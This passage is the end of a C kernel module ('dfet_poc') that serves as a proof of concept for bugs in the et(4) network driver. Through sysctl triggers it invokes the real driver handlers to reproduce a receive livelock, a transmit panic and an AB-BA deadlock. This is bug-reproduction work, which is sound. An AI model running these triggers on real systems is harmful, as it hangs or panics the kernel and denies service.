	    "UNREACHABLE by rsr_index); dispatching REAL et_intr under "
	    "the serializer - IF THIS SYSCTL NEVER RETURNS AND ierrors "
	    "GROWS WITHOUT BOUND (kern.dfet.stats), DF-4056-RX LIVELOCK "
	    "IS PROVEN (if_et.c:1851)\n", ET_RX_NSTAT);

	lwkt_serialize_enter(&df_ser);
	p_et_intr(&df_sc);			/* REAL kernel handler */
	lwkt_serialize_exit(&df_ser);

	/* only reachable if the walk terminated */
	kprintf("dfet: S3: et_intr RETURNED (ierrors=%lu) - no livelock, "
	    "index validated: fix shape observed\n", DF_STAT(ifd_ierrors));
}

/* ------------------------------------------------------------------ */
/* S4 (DF-4057): et_stop sync callout_stop vs et_tick serializer enter */
/* ------------------------------------------------------------------ */
static void
df_s4(void)
{
	struct et_softc *sc = &df_sc;
	struct callout *c = &sc->sc_tick;
	int waited_ms = 0, inprog = 0;

	kprintf("dfet: S4: arming REAL et_tick via callout_reset(sc_tick, 1, "
	    "et_tick, sc) (production arms at hz via et_init:1121)\n");

	callout_reset(c, 1, p_et_tick, sc);	/* REAL handler, armed on
						 * this CPU's softclock */

	lwkt_serialize_enter(&df_ser);	/* every et_stop caller holds it:
					 * et_detach:389, et_shutdown:427,
					 * et_ioctl SIOCSIFFLAGS:1140->1154,
					 * et_init:1091->1093 */

	/*
	 * Wait until softclock dequeued the tick (CALLOUT_INPROG,
	 * kern_timeout.c:567).  DELAY alone would starve the softclock
	 * thread (lwkt threads do not preempt each other), so yield each
	 * millisecond: the softclock thread runs the REAL et_tick, whose
	 * first statement parks on the serializer we hold (if_et.c:2070),
	 * latching CALLOUT_INPROG forever.
	 */
	while (waited_ms < 5000) {
		struct _callout *toc = c->toc;

		if (toc != NULL && (toc->flags & DF_CALLOUT_INPROG)) {
			inprog = 1;
			break;
		}
		DELAY(1000);
		lwkt_yield();
		waited_ms++;
	}
	if (!inprog) {
		kprintf("dfet: S4: tick never went INPROG within 5000 ms "
		    "(unexpected)\n");
		callout_stop(c);
		lwkt_serialize_exit(&df_ser);
		return;
	}
	kprintf("dfet: S4: REAL et_tick is INPROG and parked on our "
	    "serializer (lwkt_serialize_enter, if_et.c:2070) after %d ms\n",
	    waited_ms);
	kprintf("dfet: S4: dispatching REAL et_stop(); its first action "
	    "is SYNCHRONOUS callout_stop (if_et.c:555; _callout_cancel_or_"
	    "stop sync=1 ssleep \"costp\" kern_timeout.c:920) which waits "
	    "for the parked tick; the tick waits for our serializer; the "
	    "tick would also re-arm UNCONDITIONALLY before exiting "
	    "(if_et.c:2080)\n");
	kprintf("dfet: *** S4: IF THIS IS THE LAST dfet LINE, THE AB-BA "
	    "DEADLOCK (DF-4057) IS PROVEN IN THE PRODUCTION HANDLERS ***\n");

	p_et_stop(&df_sc);			/* REAL kernel handler */

	/* only reachable if et_stop returned (fixed kernel) */
	lwkt_serialize_exit(&df_ser);
	kprintf("dfet: S4: REAL et_stop RETURNED - NO DEADLOCK "
	    "(fix shape observed)\n");
}

/* ------------------------------------------------------------------ */
/* sysctls                                                             */
/* ------------------------------------------------------------------ */
static int
df_sysctl_go(SYSCTL_HANDLER_ARGS)
{
	int error, go = 0;

	error = sysctl_handle_int(oidp, &go, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (go < 1 || go > 4)
		return (EINVAL);
	if (df_ran[go])
		return (EPERM);

	if (p_et_intr == NULL || p_et_txeof == NULL || p_et_stop == NULL ||
	    p_et_tick == NULL || p_et_nbhdr == NULL || p_et_nbcl == NULL) {
		kprintf("dfet: kernel addresses not set - use "
		    "kern.dfet.{intr,txeof,stop,tick,nbhdr,nbcl}\n");
		return (EINVAL);
	}
	df_ran[go] = 1;

	kprintf("dfet: === go=%d: dispatching REAL kernel handlers "
	    "(built-in 'device et'): et_intr=%p et_txeof=%p et_stop=%p "
	    "et_tick=%p et_newbuf_hdr=%p et_newbuf_cluster=%p ===\n",
	    go, p_et_intr, p_et_txeof, p_et_stop, p_et_tick,
	    p_et_nbhdr, p_et_nbcl);

	df_setup();
	switch (go) {
	case 1:
		df_s1();
		break;
	case 2:
		df_s2();
		break;
	case 3:
		df_s3();		/* never returns on stock kernel */
		break;
	case 4:
		df_s4();		/* never returns on stock kernel */
		break;
	}
	return (0);
}
SYSCTL_PROC(_kern_dfet, OID_AUTO, go,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_go, "I",
    "run scenario: 1=DF-4055 OOB len (safe) 2=DF-4056 TX panic "
    "3=DF-4056 RX livelock 4=DF-4057 deadlock");

static int
df_sysctl_stats(SYSCTL_HANDLER_ARGS)
{
	char buf[192];

	ksnprintf(buf, sizeof(buf),
	    "ipackets=%lu ierrors=%lu opackets=%lu oerrors=%lu "
	    "df_delivered=%d df_oob=%d",
	    DF_STAT(ifd_ipackets), DF_STAT(ifd_ierrors),
	    DF_STAT(ifd_opackets), DF_STAT(ifd_oerrors),
	    df_delivered, df_oob_events);
	return (SYSCTL_OUT(req, buf, strlen(buf) + 1));
}
SYSCTL_PROC(_kern_dfet, OID_AUTO, stats,
    CTLTYPE_STRING | CTLFLAG_RD, NULL, 0, df_sysctl_stats, "A",
    "aggregated per-cpu ifdata counters");

static int
df_sysctl_grab(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (v != 1)
		return (0);
	kprintf("dfet: grab: entering lwkt_serialize_enter(df_ser) - "
	    "if the serializer is held forever (S3 livelock), this "
	    "blocks forever in 'slize'\n");
	lwkt_serialize_enter(&df_ser);
	kprintf("dfet: grab: ACQUIRED (serializer free)\n");
	lwkt_serialize_exit(&df_ser);
	return (0);
}
SYSCTL_PROC(_kern_dfet, OID_AUTO, grab,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl_grab, "I",
    "serializer-capture probe (S3 evidence)");

static int
df_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		return (0);
	case MOD_UNLOAD:
		/* defuse anything the scenarios left armed */
		callout_stop_async(&df_sc.sc_tick);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df_mod = { "dfet_poc", df_modevent, NULL };
DECLARE_MODULE(dfet_poc, df_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);